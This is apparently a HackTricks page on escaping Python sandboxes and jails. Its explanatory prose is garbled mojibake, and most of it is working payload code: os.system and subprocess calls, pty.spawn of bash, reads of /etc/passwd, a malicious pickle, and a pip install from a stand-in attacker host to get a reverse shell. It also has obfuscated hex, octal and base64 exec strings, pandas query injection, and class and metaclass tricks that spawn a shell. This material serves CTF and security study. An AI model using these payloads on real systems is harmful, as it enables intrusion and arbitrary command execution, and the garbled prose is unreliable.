Bypass Python sandboxes

Support HackTricks

рдпреЗ рдХреБрдЫ рддрд░рдХреАрдмреЗрдВ рд╣реИрдВ рдЬреЛ рдкрд╛рдпрдерди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдордирдЪрд╛рд╣реЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред

Command Execution Libraries

рдкрд╣рд▓реА рдмрд╛рдд рдЬреЛ рдЖрдкрдХреЛ рдЬрд╛рдирдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдЖрдпрд╛рддрд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ open рдФрд░ read рдлрд╝рдВрдХреНрд╢рди рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдХреЛрдб рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ sandbox рдХреЛ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Python2 input() рдлрд╝рдВрдХреНрд╢рди рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ python рдХреЛрдб рдХреЛ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

Python рдкрд╣рд▓реЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдпрд╣ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ рдХрд┐ python рдореЙрдбреНрдпреВрд▓ рдХрд╣рд╛рдБ рд╕реЗ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ): python3 -c 'import sys; print(sys.path)'

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдерд╛рдкрд┐рдд python рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд╕рд╛рде pickle sandbox рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреИрдХреЗрдЬ

рдЖрдк рдпрд╣рд╛рдБ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдкреИрдХреЗрдЬреЛрдВ рдХреА рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ pickle рд╕реЗ рдЖрдк python env рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдордирдорд╛рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ import рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд pickle, рдЬрдм рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, pip рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП import рдХрд░реЗрдЧрд╛:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдХрд┐ pickle рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рджреЗрдЦреЗрдВ: https://checkoway.net/musings/pickle/

Pip рдкреИрдХреЗрдЬ

@isHaacK рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХреА рдЧрдИ рдЪрд╛рд▓

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ pip рдпрд╛ pip.main() рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдордирдорд╛рдирд╛ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

рдЖрдк рдкреИрдХреЗрдЬ рдХреЛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдЗрд╕реЗ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, setup.py рдХреЛ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ IP рдбрд╛рд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:

1KB
Reverse.tar (1).gz

рдпрд╣ рдкреИрдХреЗрдЬ Reverse рдХрд╣рд▓рд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рдЖрдк рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддреЗ рд╣реИрдВ рддреЛ рдмрд╛рдХреА рдХреА рд╕реНрдерд╛рдкрдирд╛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЗрд╕рд▓рд┐рдП рдЖрдк рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд╛рдпрдерди рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдЫреЛрдбрд╝реЗрдВрдЧреЗ рдЬрдм рдЖрдк рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВрдЧреЗред

рдкрд╛рдпрдерди рдХреЛрдб рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдирд╛

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ exec рдорд▓реНрдЯреАрд▓рд╛рдЗрди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдФрд░ ";" рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди eval рдирд╣реАрдВ (рд╡рд╛рд▓рд░рд╕ рдСрдкрд░реЗрдЯрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ)

рдпрджрд┐ рдХреБрдЫ рд╡рд░реНрдг рдирд┐рд╖рд┐рджреНрдз рд╣реИрдВ, рддреЛ рдЖрдк hex/octal/B64 рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ bypass рдкреНрд░рддрд┐рдмрдВрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬреЛ рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ eval рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

рдСрдкрд░реЗрдЯрд░ рдФрд░ рдЫреЛрдЯреЗ рдЯреНрд░рд┐рдХреНрд╕

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassing protections through encodings (UTF-7)

In рдЗрд╕ рд▓реЗрдЦ UFT-7 рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕реНрдкрд╖реНрдЯ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдордирдорд╛рдиреЗ python рдХреЛрдб рдХреЛ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

рдпрд╣ рдЕрдиреНрдп рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ raw_unicode_escape рдФрд░ unicode_escapeред

рдХреЙрд▓ рдХреЗ рдмрд┐рдирд╛ рдкрд╛рдпрдерди рдирд┐рд╖реНрдкрд╛рджрди

рдпрджрд┐ рдЖрдк рдПрдХ рдкрд╛рдпрдерди рдЬреЗрд▓ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛, рддреЛ рдордирдорд╛рдиреЗ рдлрд╝рдВрдХреНрд╢рдВрд╕, рдХреЛрдб рдФрд░ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рддрд░реАрдХреЗ рдЕрднреА рднреА рд╣реИрдВред

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛ рдФрд░ рдУрд╡рд░рд▓реЛрдбрд┐рдВрдЧ

рдпрджрд┐ рдЖрдк рдХреНрд▓рд╛рд╕ рдШреЛрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд┐рдЦ/рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓ рдХрд┐рдПред

рдХрд╕реНрдЯрдо рдХреНрд▓рд╛рд╕реЗрд╕ рдХреЗ рд╕рд╛рде RCE

рдЖрдк рдХреБрдЫ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ (рдореМрдЬреВрджрд╛ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдпрд╛ рдПрдХ рдирдИ рдХреНрд▓рд╛рд╕ рдмрдирд╛рдХрд░) рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдиреЗ рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓ рдХрд┐рдПред

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Crating objects with metaclasses

рдореЗрдЯрд╛рдХреНрд▓рд╛рд╕ рд╣рдореЗрдВ рдЬреЛ рдореБрдЦреНрдп рдЪреАрдЬрд╝ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ рдХреНрд▓рд╛рд╕ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдмрдирд╛рдирд╛, рдмрд┐рдирд╛ рд╕реАрдзреЗ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд┐рдП, рд▓рдХреНрд╖рд┐рдд рдХреНрд▓рд╛рд╕ рдХреЛ рдореЗрдЯрд╛рдХреНрд▓рд╛рд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдирдИ рдХреНрд▓рд╛рд╕ рдмрдирд╛рдХрд░ред

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creating objects with exceptions

рдЬрдм рдПрдХ exception рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ Exception рдХрд╛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЖрдкрдХреЛ рд╕реАрдзреЗ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд┐рдП (рдПрдХ рдЯреНрд░рд┐рдХ @_nag0mez рд╕реЗ):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

рдЕрдзрд┐рдХ RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

рдмрд┐рд▓реНрдЯрдЗрдиреНрд╕ рдорджрдж рдФрд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

рдпрджрд┐ рдЖрдк __builtins__ рдСрдмреНрдЬреЗрдХреНрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдпрд╣рд╛рдБ рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рджрд┐рдЦрд╛рдП рдЧрдП рдЕрдиреНрдп рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ __builtins__ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рднреА рдЖрдпрд╛рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдФрд░ рди рд╣реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝ рдпрд╛ рд▓рд┐рдЦ рдкрд╛рдПрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди (рдЬреИрд╕реЗ open, import, print...) рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдкрд╛рдпрдерди рдореЗрдореЛрд░реА рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдореЙрдбреНрдпреВрд▓ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ рдореЙрдбреНрдпреВрд▓ рдирд┐рд░реНрджреЛрд╖ рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рднреА рдЖрдпрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдордирдорд╛рдиреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдХреБрдЫ рдЗрд╕ "рдирд┐рд░реНрджреЛрд╖" рдореЙрдбреНрдпреВрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рджрд░реНрдЬрдиреЛрдВ/рд╕реИрдХрдбрд╝реЛрдВ рдЬрдЧрд╣реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк builtins рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Python2 рдФрд░ Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

globals рдФрд░ locals рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХреНрдпрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
